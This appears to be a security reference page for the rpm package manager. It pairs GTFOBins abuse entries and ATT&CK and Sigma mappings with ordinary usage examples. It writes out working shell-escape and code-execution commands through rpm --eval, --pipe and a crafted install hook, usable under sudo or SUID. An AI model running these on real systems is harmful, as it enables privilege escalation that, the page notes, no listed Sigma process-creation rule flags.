Identifier / Programs / Linux and Unix
rpm
RPM Package Manager. For equivalent commands in other package managers, see <https://wiki.archlinux.org/title/Pacman/Rosetta>. tldr-pages
GTFOBins command, inherit, shell 2 Sigma rules name it 1 ATT&CK technique 4 documented commands
How rpm is abused
command
-ivhinherit
--evalshell T1059.004 Command and Scripting Interpreter: Unix Shell
--evalshell T1059.004 Command and Scripting Interpreter: Unix Shell
--pipeEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for rpm.
4 documented commands
command with sudo
Generate the RPM package with fpm and upload it to the target.
echo /path/to/command >x.sh
fpm -n x -s dir -t rpm -a all --before-install x.sh .rpm -ivh x-1.0-1.noarch.rpminherit unprivileged, with sudo, as SUID
This allows to run Lua code (...).
rpm --eval '%{lua:...}'shell unprivileged, with sudo, as SUID
rpm --eval '%(/bin/sh 1>&2)'shell unprivileged, with sudo, as SUID
rpm --pipe '/bin/sh 0<&1'None of the 4 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for rpm. The identifier reads the line of each that runs rpm.
What detects it
Everyday use
Show version of httpd package
rpm --query httpdIdentifyList versions of all matching packages
rpm [-qa|--query --all] 'mariadb*'IdentifyForcibly install a package regardless of currently installed versions
rpm --upgrade path/to/package.rpm --forceIdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.